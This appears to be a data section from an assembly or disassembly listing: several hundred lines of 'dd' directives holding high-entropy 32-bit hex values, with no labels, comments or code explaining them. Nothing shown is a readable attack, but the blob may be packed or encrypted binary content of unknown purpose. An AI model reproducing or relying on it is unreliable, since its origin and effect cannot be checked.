		dd 2C76109Fh, 9604EDD1h, 5E69FF89h, 1AC9C8B9h, 29C53100h
		dd 8B0DF6DEh, 215193E3h, 1ACDAE8h, 0C79BCF05h, 0E2AE97CDh
		dd 4F404854h, 0AB0338h,	0A8F7EE9Eh, 0DE345777h,	0E82B4209h
		dd 2710C011h, 19E62953h, 0FF30084h, 0F570CAB7h,	70403EF3h
		dd 0E8D908BCh, 2662007Bh, 0BF93A17Dh, 0D600ABAEh, 0FC7E6D73h
		dd 6F9F3Dh, 0E3A3FA1Ch,	72C643B5h, 0DA988401h, 0BEA28DE1h
		dd 0A4DE4E02h, 63A44340h, 0E3990FBCh, 0F280718Fh, 6E0447E9h
		dd 0D1B30305h, 0A82D30h, 0D4F21180h, 1D1558E0h,	3BD05DE4h
		dd 100CA548h, 610AC0h, 0D151606h, 0D65D918Bh, 446CD200h
		dd 0CF22737Ah, 0E8010794h, 0C04228C5h, 0CA8DE643h, 80BC50B1h
		dd 3BC407CFh, 920684Bh,	0DA3C03A7h, 0D420844h, 9C313050h
		dd 0D8D7E09Ch, 0C50BA23Ah, 9119C127h, 316074E8h, 9A1F00B9h
		dd 0BD0CD548h, 0AC0BF9BAh, 12645BE1h, 40285E58h, 45FBF39Ah
		dd 246C8603h, 0A1B7767Ch, 0F87C93A5h, 55D59080h, 0F500CC7Eh
		dd 34ECE473h, 0A67D3Fh,	0F9D188EEh, 0BB5BEF63h,	944250A2h
		dd 0AF43EC5Eh, 8969C071h, 0CD3D2DE8h, 0E00130A9h, 2E910312h
		dd 0E2ACA820h, 0B8860EBFh, 7AA0807Dh, 4EBBC9DFh, 74EE673h
		dd 3E56DCC8h, 0E581360Bh, 0E4FA994Ah, 205B0290h, 0C7D60A60h
		dd 52000D72h, 6BE0E7E8h, 94FD2B0Fh, 0B27A4000h,	0C5E8C95Ah
		dd 43014702h, 208C1820h, 7FE5FA66h, 656EE200h, 817ECEEDh
		dd 0B6DC0214h, 180A5420h, 4880B459h, 3617F86Eh,	204E8EFh
		dd 78FB88A5h, 0B87E2A63h, 0E2331F40h, 0F72801CDh, 9EBFDB35h
		dd 0D2C5D9F8h, 0BD00EC46h, 0A9CDE171h, 0E65E0415h, 5538001Ah
		dd 5F025309h, 1C7E45EEh, 8EDABE00h, 0C31BC196h,	9F3B001Fh
		dd 23C5124Fh, 91273DF2h, 0D76490A4h, 268EB0D6h,	2C75E40Eh
		dd 7C4300A2h, 0CB7BFC2Ch, 2D3D83Dh, 26137306h, 93D454B3h
		dd 0F028A403h, 5E221B00h, 1418BA17h, 0A1EA1879h, 2E5CC24Fh
		dd 1B8F1500h, 9969F0B8h, 0EDCC343Dh, 483CA2F9h,	0E7310034h
		dd 57380BD6h, 0D30D130Ch, 0DBE104ABh, 3F248818h, 0A379CF01h
		dd 9F83FBE0h, 2EA4023Ah, 3CD49356h, 66F96140h, 9E920098h
		dd 0AC2D2AA4h, 403C240Ch, 959C0937h, 4BA81074h,	0A8542CE9h
		dd 1B90428h, 8538AC93h,	0B9006188h, 2EBCE52Fh, 5729048Ah
		dd 0C0F90BEDh, 31FD1098h, 624FF098h, 3805ACC8h,	2080289Fh
		dd 12AAB8DFh, 2958BFF7h, 0BC8E0BB4h, 8714E831h,	4D0D2632h
		dd 510F4B38h, 0CDCE7664h, 2D6EECBCh, 2A39CD01h,	5A069F21h
		dd 38D1D7E4h, 87818C5Fh, 3C4EA298h, 2A422AFh, 0DD5B858Ah
		dd 3924A032h, 0E4B3E7A8h, 709A0569h, 0C0C3EC45h, 3B958E8h
		dd 876FD000h, 9A60CDC9h, 26CE77E6h, 5B4FA9Fh, 0C8A38E71h
		dd 530284B8h, 260D7C95h, 504452F6h, 0A1006h, 10211E62h
		dd 0CB94FB91h, 0DD384148h, 3FA02200h, 0B77CC0h,	2D027492h
		dd 95A883B5h, 59798B05h, 60CC1525h, 31880077h, 0E4910B20h
		dd 0B63E7324h, 45F8019Bh, 9016FDE3h, 3C00E023h,	0B76D4074h
		dd 870A80Dh, 0C8765802h, 0D9931C1Eh, 2272007Ch,	0A27D7903h
		dd 34001F7Ah, 39D945ADh, 777F7E4Eh, 0AAFE2493h,	0CBA960C0h
		dd 0CF1C4862h, 0D581EFCEh, 3CB0717Ah, 8633003Fh, 0E63540ECh
		dd 0FCDE8F00h, 85F588B9h, 0FB0217ACh, 4A303089h, 0DC007BD5h
		dd 6E803BEEh, 0C634B2h,	1E856FDFh, 99109DE2h, 0DE9E7401h
		dd 0FEAA7087h, 3954203Fh, 0F1277134h, 5C6428h, 931E799Fh
		dd 81D9AD70h, 65960300h, 280B508Ah, 0CBD70459h,	0C2D2C56Bh
		dd 0E420DFE4h, 794F0A2h, 519B9AA7h, 38D910CDh, 3913A547h
		dd 248841FDh, 57D707EFh, 90E429B5h, 4ACFFC3Eh, 0CB88E302h
		dd 903A7579h, 5073ACh, 735F1D8h, 0AABC678Bh, 0C8901F02h
		dd 402F4753h, 0E870D498h, 6C989FB8h, 9009E83h, 0B6B0EDA0h
		dd 9191A8DCh, 3E4E8060h, 6184B436h, 894C1900h, 76D762F6h
		dd 0B8FBFC97h, 0DF7E0784h, 0BBA7B2A2h, 0CAF0D018h, 3C5C5D00h
		dd 0F85F6F03h, 0ED010014h, 0BBEEE2EFh, 0F0188345h, 9A807D75h
		dd 0DEA40387h, 0B6BA3C67h, 0DCDC6DB2h, 0FA740C40h, 954A00FBh
		dd 9E20134h, 77000D39h,	0C13EB528h, 94E9C33Dh, 0C9614160h
		dd 6C203B24h, 7DBADA47h, 1D44005Ah, 382F79Eh, 0E17C6DCDh
		dd 2F54D476h, 0D10EC6F4h, 60C00BDEh, 4BF6C1F5h,	598E12E5h
		dd 62B0E418h, 0FCB69F04h, 0CFC01908h, 0E59838Ch, 9888FA54h
		dd 0BC82186Bh, 0EC74332Ah, 0D55A7900h, 622CDA8Fh, 2464A142h
		dd 699FF498h, 29923Eh, 94511081h, 0E30580E1h, 34FF4C40h
		dd 602500E2h, 0EB7EC68h, 9F130AE1h, 28C791DBh, 1C02739Eh
		dd 9006FC21h, 0BAA3C4h,	1CAAEEFEh, 0F5D7328Eh, 1D298C00h
		dd 0CD7E4D36h, 7CD80141h, 80077557h, 0EEA14099h, 0E5302678h
		dd 0C191C019h, 801CB13Fh, 0CD80BE29h, 8800DB9Dh, 0DC89C848h
		dd 62DBC20h, 0C9E566A8h, 0C1F0EE61h, 0A3B410Fh,	2A034083h
		dd 411E398h, 40910155h,	0C484E829h, 28BDA98Dh, 6C83E105h
		dd 5CED05h, 7BECC3E0h, 18E2D29h, 0F28D59DDh, 0D49596D1h
		dd 0BA1D70CCh, 10EDD00Fh, 50CEF478h, 263D734h, 0C6015ADAh
		dd 5C66491Bh, 5A02F4Bh,	0CF2905D2h, 8004F7C4h, 0FB609A9Ch
		dd 1CA38D2Ch, 0D19770C2h, 6A79007Ch, 8916CD2Bh,	0D4FDAC00h
		dd 0E4ED6065h, 0E5432F5Ch
		dd 540090E4h, 3EF61266h, 7E7FA549h, 0CE210F11h,	10A126A1h
		dd 80ED4494h, 9A30560h,	1F38A81Bh, 4468537h, 0BC3C02BAh
		dd 72B98798h, 0C4E2C185h, 9478E280h, 0F901436Fh, 168E59Eh
		dd 302FB85Bh, 6AF471Ch,	84BD7500h, 0F792CA88h, 17E32433h
		dd 0B3426070h, 0F100389Ah, 0AC3902A6h, 251B1470h, 5CC8A28Dh
		dd 34BE7BA8h, 0B36E2240h, 6FBE002Ah, 0F0D08375h, 9B00128Fh
		dd 0C5D61507h, 90D57F1Dh, 40B04D34h, 8DA89681h,	0E4322EBCh
		dd 0A27D4066h, 0DAD50B41h, 1C710826h, 0B0815418h, 0F2FE7Bh
		dd 10AE8DBDh, 57118719h, 0B281E413h, 0E0CB5888h, 0A2FA1DBEh
		dd 66D100F5h, 4F3F8476h, 81BD507h, 0F6107B5Fh, 7703755Bh
		dd 28AD02CAh, 926E381h,	94A42C5Ch, 7A0A214h, 77059680h
		dd 94B8A984h, 0C4E47A25h, 0BD11A200h, 9EFC4B9h,	0E9DC0251h
		dd 592BB2FAh, 58989055h, 5F403F62h, 0F137203h, 8FB0BA22h
		dd 0D00CBE4h, 2CE51CABh, 5D9B6B1h, 18DD255Dh, 9F6DC0CFh
		dd 8F131DA2h, 9C094277h, 387479B5h, 0C6A67380h,	0D3E4FF97h
		dd 0A15FFD00h, 98B601E7h, 9A5AFCEFh, 18A9094Ch,	0C31B05Bh
		dd 9C235Fh, 0F3AB3857h,	1F155412h, 45A89214h, 802EB6B9h
		dd 0CB2B9E24h, 1FD733Ch, 401F72C1h, 0CC2AB487h,	5CB4E174h
		dd 0FDAD7503h, 7AB1C02Bh, 0EC909769h, 0F70349EFh, 85D7140Ch
		dd 364891E1h, 31CFB20h,	9443A8E3h, 3CC8E450h, 267CE77Bh
		dd 7800C8A4h, 0C899761Dh, 0CDAE5C7h, 2EA5F8ECh,	653C12E0h
		dd 60899363h, 0ECBA600Ah, 3831FF00h, 5A91E88Bh,	8960C8A4h
		dd 2F8FF700h, 44499040h, 1AE5015Dh, 0BBCB0495h,	0D489D41Ch
		dd 0C4802B4Eh, 258AECFCh, 0C450486Ah, 0A4BAEF1Dh, 0C4F8130Eh
		dd 30B23950h, 0A0ED2500h, 5FD1F92Bh, 7ACDBC02h,	0C24D15C0h
		dd 34C7A38h, 9B8AA510h,	0C48013BFh, 160279D3h, 9E5B24FEh
		dd 4EB4FEA4h, 8FFBFC83h, 0D61A16C9h, 4F43B47Ch,	0D3A3F054h
		dd 0F69ECD7h, 0F6CFC71Dh, 0B07853A0h, 6049361h,	0CC3C8F4Ch
		dd 0FCA5CECh, 0E8E401E7h, 62B126D7h, 48B34AFCh,	0FE4A891Dh
		dd 800F971Eh, 74FD2E87h, 63005978h, 0F388EC39h,	0B618E11Dh
		dd 3868A7ACh, 0B22EC56Fh, 0DC003C0Dh, 1BD979FFh, 39A139B1h
		dd 693020CBh, 0ED740DD0h, 179AC617h, 4AB0B027h,	7ABDAE7Bh
		dd 0BB11077Ah, 27927D24h, 0E31DB2FFh, 820074C6h, 0FC184DABh
		dd 0FAC37F5Fh, 44700FDh, 159A260Bh, 0F300A38Fh,	0DEA74A5Bh
		dd 9F145796h, 44E8CC04h, 0B0B29890h, 7500FA3Eh,	0E1FE81D3h
		dd 3800335Eh, 0A9B6F046h, 9E737013h, 676E044Ch,	0B839C53Eh
		dd 0E3CA8048h, 0AAC25h,	35FD791Dh, 0B66539A2h, 69599901h
		dd 765A5514h, 179E1870h, 0BA308D3h, 78FA746Dh, 0A8622E1Eh
		dd 9DF86040h, 982759E0h, 944D4448h, 0AF0848B0h,	803948CDh
		dd 1489B154h, 0C60081BCh, 0ADDEFFD2h, 3EAF8E03h, 3E225793h
		dd 0BD69B890h, 4F885CE9h, 73342F20h, 63003E43h,	0CC7BCE82h
		dd 1FA68002h, 7B6E7079h, 48A04E27h, 0D99FD0C2h,	0F9B0851Dh
		dd 0F67E0940h, 2C56A2h,	658F2AE0h, 881FC646h, 0D6D8E402h
		dd 444D1104h, 0B4080090h, 0F4C03D9Fh, 2402D187h, 8158B005h
		dd 0F3218C7h, 0E8AE7700h, 18BEDE90h, 33F201A1h,	716B158Bh
		dd 0D0A160C6h, 1D648048h, 175ECF70h, 0A25FD02h,	2898A856h
		dd 534A0480h, 741248h, 298FE7F6h, 0F7BD442Ah, 0EC954000h
		dd 0A292A98Bh, 76D70353h, 0FF093990h, 2B2ACCD8h, 0C35CEA48h
		dd 0B84E47E9h, 39803CEBh, 7C4D4F90h, 6D92CB3Dh,	3730080Ah
		dd 0A044A5h, 79939ED2h,	8CFF4E4h, 572BF309h, 0CCC898A5h
		dd 0C9B9005Dh, 1BAE58D1h, 1001B1E7h, 26E4DCA1h,	6C4255F6h
		dd 0F0A32057h, 0C41F7925h, 8D40DCDFh, 0BCACA237h, 732E0712h
		dd 1BA1AEh, 0F849B7B4h,	80C44D4Ch, 66F459A2h, 67F007h
		dd 1C8369BAh, 0FD1BF7ABh, 32C0770Bh, 80C44Dh, 0A25421F2h
		dd 599F2416h, 64981095h, 33E10086h, 0A744F843h,	1500AE8Ah
		dd 0D4AB5B4Fh, 5A3DC063h, 1A88CCDh, 0CBB0EB1Eh,	5EDBC580h
		dd 2E7B73CAh, 25C43D0Fh, 0E420FD54h, 0BB64A44h,	6CB8D5Bh
		dd 7F0040D1h, 5F424F6Bh, 3D71008Fh, 0B81C591Bh,	0A00ADD3h
		dd 870717A2h, 0B004A39Eh, 4B120965h, 8CF1C63Ch,	0C16F6100h
		dd 2502AC1Fh, 101192A8h, 9B96409Ah, 0E00B0CDCh,	18EE4D9Eh
		dd 35C1E4h, 12852331h, 0F711D294h, 15261418h, 98B39C21h
		dd 0FD09173Dh, 0A9200B7Dh, 7AB0A090h, 72A4FE00h, 0DD3E1C75h
		dd 0B71B02C1h, 919949F5h, 0EC88B4C9h, 473D8522h, 0CD2579E7h
		dd 87C4D145h, 4BA080CEh, 2561C70Fh, 2919EE47h, 1DFF0008h
		dd 0B734C4F2h, 0CFF106A2h, 0F9A556B5h, 64FD3027h, 36A801A0h
		dd 942EE8AAh, 47EBCC1Eh, 1113CB04h, 90B2D086h, 0E600C23Ah
		dd 967EB323h, 0A9485216h, 8C8C4FECh, 87A81FE8h,	0AE3CCBC3h
		dd 71433818h, 1BA24B00h, 92FD54ECh, 5C40958Ch, 0ACA6D711h
		dd 9A918200h, 8CD9958Dh, 476F0249h, 4AE490ACh, 25A01C0h
		dd 64B890B7h, 87F900A9h, 39E6231Ah, 1612412Fh, 0E09890D1h
		dd 0C9DD2888h, 4820B780h, 0A1E61509h, 0A0E408C4h, 4E01C8B2h
		dd 0F45F3F6Ch, 89737038h, 0D1FBEEC2h, 7006666h,	553E0A91h
		dd 0B0B1C0C6h, 33DAC79h, 5E6F0183h, 0CB88BA8Dh,	0FECCD7D9h
		dd 2D073093h, 5B0A1F88h, 0B922BC22h, 0CF582520h, 5F1C4E03h
		dd 0F8676FEAh, 0B80557Ch, 9BDD26E1h, 103224D8h,	0FEFC10A8h
		dd 8E056FF8h, 6F00960h,	0D60BB0F2h, 0EA8AAF6h, 6E6D823Fh
		dd 81F8E0A0h, 6FA2D95h,	2F60A02Fh, 3F9AF270h, 16ECB17Fh
		dd 90BDAE76h, 4185A0h, 53F375A1h, 0BF204A2Eh, 9642A700h
		dd 0A0EBC8DDh, 0E6A1090Ah, 487063BAh, 9E2EE300h, 174E119Ah
		dd 0CA043990h, 53AA080h, 61D5BA0Dh, 950ECD09h, 507163h
		dd 0C50CA2D8h, 0A67768FFh, 520AED0Fh, 0D809B62Dh, 62DC1AC1h
		dd 0D6E0004Eh, 0B7A970D1h, 0A58DAC82h, 4921BC87h, 98009C51h
		dd 0EC5EFCCFh, 0A78D2502h, 31C38A5h, 8F7E01A4h,	0C0D55AA3h
		dd 0AF95FD8Ch, 449CB01h, 90D04BC0h, 809D8038h, 0F90A3307h
		dd 4700DF24h, 0BE8514FFh, 0D47E4E77h, 2770C890h, 88C46F1Eh
		dd 61648C00h, 0D928537h, 97A204B0h, 838E25BDh, 42E77210h
		dd 0FCD4A83Dh, 0AF1AFA40h, 0EF1B3F38h, 0F5AC9Fh, 326919FBh
		dd 4009A006h, 549FE607h, 183B4020h, 0B607D482h,	0CA912251h
		dd 2BABFB50h, 0FE9E28DCh, 1C72018Ch, 602DAF18h,	3E902883h
		dd 3C402C87h, 508A5E00h, 2DEFC7A2h, 20643C4Ch, 6DC28B14h
		dd 0B6D513B0h, 0DF8488h, 0A676E401h, 77654471h,	0F8CB9807h
		dd 2B607B58h, 0D0D696h,	0B01BF9CCh, 0F58DD56Fh,	16B090B5h
		dd 0A2B500DEh, 576308E2h, 30809BB0h, 0C187020Fh, 48095219h
		dd 373B34F2h, 9CB73C7Eh, 0F380B8FDh, 3E612C1Bh,	8EC8F19Dh
		dd 0DA3C2D19h, 9880B8E5h, 0BFA78978h, 0B2E84A56h, 2EAA02A4h
		dd 0E19F5D0Dh, 1B107694h, 1E120C07h, 0DC00DD70h, 19A8913Eh
		dd 4074B44Ch, 0F9E49894h, 0A13ABB00h, 334D72DFh, 1F91724Bh
		dd 0C5C4FE15h, 0E879405Fh, 40E0D3B8h, 5880FD0Ah, 4EC0AD2Ch
		dd 4C0F9E74h, 84E242B4h, 5AA3889h, 0C025DF80h, 84F66A4Ch
		dd 0A31B451Ch, 78CEBA02h, 218DE34h, 503D824h, 0DC00E864h
		dd 68C2965Bh, 2657231h,	10894A16h, 4D84FF5h, 1306321h
		dd 39F86BCBh, 1498EFCAh, 0A1145720h, 12806E3h, 0ED654A1Ah
		dd 0E7DC629Bh, 5F7731Fh
		dd 90923DDAh, 60882003h, 70098F0h, 86AAAF7Bh, 0C0BD7062h
		dd 6E1BB918h, 84003545h, 265168A9h, 2AC686h, 94BE566Ch
		dd 8DEA5415h, 92006679h, 0E075641Bh, 9EEC712h, 19B1E69h
		dd 39213F86h, 70A1900Eh, 4F42802Fh, 0C57ABBBh, 8ADEBFFFh
		dd 0ED02DD20h, 52E1486Ch, 0E8966081h, 847005Eh,	4FB3F2C3h
		dd 2303B640h, 812E9565h, 52583EDDh, 0F2386160h,	77000EE6h
		dd 9C182D3Ah, 0F31229Bh, 740B08EAh, 0CB67EB63h,	0C988FDE3h
		dd 0CF30BCA0h, 2C0E4976h, 564C0042h, 207E3392h,	14189187h
		dd 3C612352h, 0B778F5h,	0F16A9956h, 8CFE7FE1h, 0FC7A0A01h
		dd 0D8DFB6C3h, 0BA86C883h, 0F1D76625h, 0C47012C7h, 0BF1CCD92h
		dd 95468F18h, 792B5Ah, 76F0E3ABh, 45257385h, 26EE4401h
		dd 0FC2CB99Dh, 0BECE2843h, 0DFB42431h, 436600B5h, 0A0C2DC01h
		dd 177CA400h, 52978E68h, 77B1C02Ch, 79E5D320h, 8274AF00h
		dd 27981C71h, 59DE0ACDh, 43BCFE34h, 6900D7DFh, 0BB478E94h
		dd 0C488B7h, 45363835h,	0A7CD75D4h, 29AFDF18h, 32E8E28h
		dd 5F7BFF51h, 858806DCh, 314CBA5Dh, 248160FEh, 3BEC1E0Bh
		dd 1D037BC2h, 2FC38D4h,	0C4B3CEB9h, 0DB03079Bh,	4B953E94h
		dd 0CAE10C7Ah, 8E997EDEh, 0FC61400Fh, 1DC121B5h, 2091302Dh
		dd 3D700081h, 0BB29839Fh, 0B9860093h, 0D65645DFh, 6AF838EDh
		dd 57CBFF24h, 0B0AE2A00h, 141A7B5Ch, 38CD6649h,	41322D07h
		dd 0B029D72Ch, 1199C982h, 400EBF0h, 0EB0A6B9h, 0F4A4567h
		dd 0BADD2214h, 847508CFh, 3254047Ch, 8C69E6FBh,	0CE00C064h
		dd 25A04DBCh, 1B0721Ch,	3BB64398h, 0D4104E73h, 510006BEh
		dd 8BF56A05h, 7CCDEA7h,	8EC8E756h, 0B880F6A0h, 474AE601h
		dd 3D1F95BCh, 0E21D5CF4h, 0CD5118BBh, 8373C12Fh, 0BC09B502h
		dd 0A1C3FA2Ch, 8B050E4h, 9A88AC47h, 5C212023h, 0C5161A39h
		dd 0BD4205Eh, 7F802260h, 298F27D3h, 0E45166h, 0C333CEE4h
		dd 600CD4Dh, 0BBA0DF83h, 1C7756Dh, 0A4562D13h, 0CC5F2980h
		dd 0A806B0FDh, 3B529367h, 0C92D3A41h, 0E9838109h, 80D5D289h
		dd 136ED86Ah, 272300ABh, 2A56B5E5h, 677D38BBh, 61806406h
		dd 4018E802h, 66F21826h, 79EF9500h, 746D36C5h, 8F590C3Fh
		dd 0B029DD25h, 0E0F42700h, 9DC507C7h, 61BE3EC6h, 55896060h
		dd 7E0010FCh, 7217B8AEh, 3E0719Dh, 0A4F47CE7h, 893CDEDFh
		dd 44740046h, 0F70C64D7h, 2E10E525h, 0E002DBDh,	66CB47FBh
		dd 228EB0h, 0A5A77D50h,	616CC43Fh, 14376700h, 30F42CDCh
		dd 7E81C5A6h, 0D87401DBh, 0FCA71887h, 1E00626Ah, 4DEC28A8h
		dd 0D623B8h, 0F006CE2Fh, 999C9060h, 9F8CD702h, 20DCFEE8h
		dd 0EE234063h, 0B8508006h, 0E038B048h, 0F5200741h, 509D6660h
		dd 5342F4C2h, 4CE681C5h, 80A38808h, 65DA8316h, 0E005FF7h
		dd 4C37B8A9h, 0A346AD0Fh, 0C62BE8B8h, 302A0C6Dh, 9058C7CCh
		dd 758B025Ch, 5BF79B00h, 0CED6222Bh, 0DBEC062Eh, 0A0A73E53h
		dd 3650E500h, 0E658AD5Ah, 0B8A01D62h, 0AC29004Dh, 125E798h
		dd 0E20367E2h, 3E118D4Ah, 0AB393FA6h, 88968780h, 2D7F3641h
		dd 0D5F82B0Fh, 117D6051h, 31D7F660h, 0B931B659h, 8CDC487Eh
		dd 95011E79h, 71FD8879h, 0B0175FD7h, 3E2AF628h,	1055C330h
		dd 0E404913h, 60594A6Fh, 5BF88020h, 0D8A4BD56h,	0BCC12F0Fh
		dd 0DFA0A085h, 42F9F1h,	8D246425h, 0D87F5BC7h, 80D479C9h
		dd 0D6FBA54Ah, 31B0083h, 8ED9E06Fh, 0F70714E6h,	61734B6Bh
		dd 11AB2BB0h, 0B83D3301h, 9681A599h, 970AE486h,	0FCCF3300h
		dd 0DC23843Ah, 2C8B0128h, 0AB356F60h, 942222h, 6C36B070h
		dd 896887h, 6B652EBFh, 4C1DAD4Eh, 0E808DA0Ah, 2000D0F3h
		dd 26A2101Ah, 0A6BB07CFh, 0A0D67B38h, 0EE2B6E1Ch, 7EB2CE0Ch
		dd 0C259DDh, 4E0321EFh,	0AE982EEBh, 546DF600h, 0E68A7FCh
		dd 0B13E300Bh, 246CCB9h, 517BEB00h, 0E867B4A8h,	533400FBh
		dd 850DFF2Bh, 0A4048699h, 0F425518Dh, 0DF722601h, 4C6FD49Eh
		dd 7D020B18h, 244D4A1Ch, 3A30FF7Ah, 47693E9Eh, 651407E3h
		dd 12D847DFh, 0D89E0033h, 0E5F74D62h, 0B48C20A2h, 0E8CD1000h
		dd 652A61B6h, 47690586h, 0FF6838Bh, 408C9DECh, 0C62A26E1h
		dd 9A007816h, 56A3B3Ah,	5A6DD8h, 1C3CFC91h, 9EAE1B2Bh
		dd 342E4Ch, 0D3063F7Eh,	88F2FE92h, 0D1006BF1h, 61FDFFBDh
		dd 39F0355h, 6E114AA9h,	1788505Eh, 65064DEFh, 0F5FE38A1h
		dd 168C0039h, 5EC9C671h, 0F0030B94h, 758D9C6Ah,	983F9B97h
		dd 1252DB8Fh, 455A29F4h, 80730D44h, 6A9301BDh, 1E1FF490h
		dd 21001B40h, 0FEBA107Eh, 61D2F6h, 9FE8BD47h, 4B003C11h
		dd 8A45E2C5h, 0C761754h, 0A7BEA6D3h, 38072B59h,	3E8AE11h
		dd 0C875FD63h, 0F6C3D0h, 3DFE53F1h, 216CF448h, 763DC898h
		dd 7DD224Fh, 0DB862BF3h, 5831402Eh, 1C0336BBh, 0F78FE99Bh
		dd 0B4DAB8ADh, 428E012Ah, 0BDF264D3h, 0E27980A5h, 0BAED14A7h
		dd 0DCFD0057h, 20315BD0h, 0E5009D5Eh, 6E8E010Ah, 94C4736h
		dd 4E947DBFh, 0C07E2C98h, 6F82EF2Ch, 2D4DAA00h,	0F130C96h
		dd 0B1C3B16h, 2F5D22A3h, 0A5D00F9Bh, 9A003C6Eh,	5BE3FDCFh
		dd 497D8C4Dh, 9E1E00C0h, 6308030Eh, 0A1FEBE75h,	0CA50100h
		dd 0AB47FA4Ah, 75EF7DAEh, 0D0DB7E1Dh, 3ECFB839h, 273BA320h
		dd 0E8005C14h, 816752A0h, 5C8C0CBh, 4D3F37BDh, 57E8084Eh
		dd 8D16D781h, 0F0D71822h, 0EEA16Dh, 6F07A9BFh, 0D4099666h
		dd 103CAE00h, 9F67692Bh, 3649015Ch, 0CE3D1216h,	607C20C7h
		dd 90F6DD00h, 0BF319507h, 615960BEh, 0D0EE366Fh, 6306AF12h
		dd 99171800h, 16E4E02h,	4246DE16h, 327EBB8Bh, 965C2660h
		dd 0BD68003Ch, 0BCFCFF9Dh, 79E600E1h, 4E203F0Fh, 0C0ABA43Dh
		dd 0BE63F990h, 6F00D07Dh, 0DDE2BC0Eh, 4C5BD499h, 16C5E4A3h
		dd 0E649C03Ch, 90166255h, 7EBC6843h, 0E8C05202h, 54C1EE66h
		dd 3E83700Dh, 2B39A960h, 29C81Dh, 9D902291h, 11F72A24h
		dd 0EE8AC48h, 8098A18Fh, 4DC0AA8Eh, 1DDE296h, 0F78CC5C4h
		dd 0B87B8A68h, 6177BC58h, 0E7716460h, 0F03093FDh, 0E8157C58h
		dd 20351303h, 87D10502h, 6678804Dh, 0FB0227A6h,	0BEC5163Ch
		dd 0BCA8A0A2h, 0CF3587h, 9E45A01Ah, 0BD3B95B1h,	8A3F1000h
		dd 5BD78B9Fh, 0A4C1C2B0h, 58465409h, 9C15421Ch,	0BA2BBF40h
		dd 73892EBh, 6C0EA112h,	0B09D03Ah, 8B13E47h, 7007B000h
		dd 3D6D0Fh, 0F90DD5E4h,	1C74BB24h, 7E31D5Ch, 1551E50Bh
		dd 0AB0ECAE0h, 0E48454D7h, 16AD0C96h, 7511DF7Dh, 0D2DD3B09h
		dd 4EE687FCh, 2C80C515h, 5CA4C61Ch, 258E48D6h, 196840B2h
		dd 82092EBDh, 1BDCE113h, 0FE150005h, 0B5001012h, 2474C51Dh
		dd 30295C07h, 7E30AB22h, 0A01651B2h, 3E97006Ch,	330D1731h
		dd 220E260Ah, 0A342E945h, 1BE39FAh, 0DD736090h,	34DC3DF5h
		dd 0F800FCF4h, 89AFD40Bh, 0C0C23E85h, 0DA3D6019h, 0ED581B75h
		dd 87B2C028h, 91ECA6h, 381B063h, 0EB936FB3h, 0E4C2D02Eh
		dd 0A1AA2B0Ch, 60D6457Fh, 860FB057h, 6A9E9Dh, 0D90DC05h
		dd 3248F0D0h, 26A68A4h,	0C2F00F7h, 60BD666Ah, 0B6B8495Fh
		dd 0A70154AFh, 693FF219h, 34735BD8h, 1E67600Bh,	0DDF78C80h
		dd 0B4607F87h, 0B0A7C479h, 0CAB10703h, 0CE1B6972h, 5F3AEF43h
		dd 6D8C9C07h, 311CDCA4h, 0C1742AD7h, 0E230980h,	0E800CB4Ch
		dd 527307F6h, 841D7090h, 970C9421h, 9839C2B3h, 6E3F1DC0h
		dd 0ED250199h, 0E8096DD3h
		dd 8B0018D7h, 97ABB49Fh, 4C6F0F3Fh, 3601E6B8h, 0FEEF46C1h
		dd 0E1C980E0h, 7515659Eh, 78EB004Ah, 6105B3A8h,	24056B66h
		dd 58BE84D5h, 0B607885Eh, 30D452BCh, 908DA494h,	0CBD3F0h
		dd 102FE9A5h, 0DF173FE5h, 51B13100h, 7B60B653h,	7FD3720Bh
		dd 296C98FBh, 80F0F00Eh, 3B08E409h, 5801C312h, 0F9C866ADh
		dd 39F04551h, 228CB85Ch, 0F8B085DFh, 1CF4B045h,	0E9640758h
		dd 95F8797Fh, 0DBC5D6h,	38B0DFB7h, 313FA66Dh, 57AD1D67h
		dd 80610F49h, 0F4CFDD1Ch, 80C0B130h, 9B0465A1h,	6E00BB2Ah
		dd 74F48742h, 90A2924Dh, 7C544CA8h, 65FE72C0h, 0EF005248h
		dd 236DF74Fh, 711147h, 515B410Eh, 45306F61h, 3BAD5600h
		dd 0C277598Bh, 71A460BEh, 155F29B6h, 0EAC69401h, 0C9FF070Fh
		dd 4286D8h, 2B89A964h, 6C479565h, 98DA5C01h, 552AF48Fh
		dd 803841A9h, 5714FC49h, 0CDE4899Eh, 0C5ADFA03h, 0C820EFF1h
		dd 19B0DD8h, 9C85236Eh,	81DA7EE3h, 95DF5C39h, 55CC9D24h
		dd 26C300E6h, 8CD868E9h, 6F3B1048h, 0A6A480B6h,	0F6D77557h
		dd 1DF80919h, 500EB5D6h, 7050CCC9h, 0BE0598B1h,	3AC0730Fh
		dd 5BA1D93h, 0B727F421h, 1FA0003Fh, 55D9C66h, 0D5C8CA00h
		dd 0F515A71Ch, 0FD0125A6h, 0D604F010h, 98999400h, 4DE9DD36h
		dd 544130F4h, 2C6761F9h, 0AD03F098h, 0FECF1735h, 8D810FE9h
		dd 40BD36A5h, 0ABB2BAC8h, 8A007892h, 6907ADDAh,	0E01DC345h
		dd 0EC8E05B7h, 87E44F5Bh, 0D51BA014h, 0D8C356FEh, 0F046A453h
		dd 138945ADh, 5CC1012h,	0DA5B4Dh, 4E92AA34h, 88DE8C07h
		dd 0C47EF549h, 3A8B0050h, 0CFA6D54Dh, 9CB8A4BFh, 47F04413h
		dd 22637080h, 18FF501Bh, 6EB100ECh, 4115F2ABh, 883C64E3h
		dd 8FA9989Ah, 4462DA0h,	0BF9060A7h, 34A262h, 0ACA08B3Dh
		dd 72DAE0B6h, 0B13F0020h, 0A9432BA5h, 0D4A8C55Eh, 4B5072B4h
		dd 0E8638A4h, 0DC221D6Fh, 0C8D09506h, 0FE9E4600h, 14352E5Bh
		dd 0ABE900B2h, 0D2902AEDh, 185C6678h, 1CEF00B8h, 64D7453Fh
		dd 647F4CA8h, 0AF8D3580h, 69007E9Ch, 134F5A22h,	98C811ABh
		dd 0F487818h, 0FAD52F4Eh, 6F143620h, 0A21899ECh, 74D1F3FEh
		dd 0CF7900A9h, 765E3113h, 0F0772F33h, 0FEBF300h, 0AB5C444Dh
		dd 6FBB0147h, 0A03E59B3h, 0E0280056h, 0F89701D8h, 0C74CAF9Eh
		dd 908920C1h, 0F2CBAB00h, 64BB5575h, 325C1202h,	17480AA1h
		dd 9FEA8220h, 68EF7147h, 74B68Fh, 0F0A546A3h, 0C25C10D7h
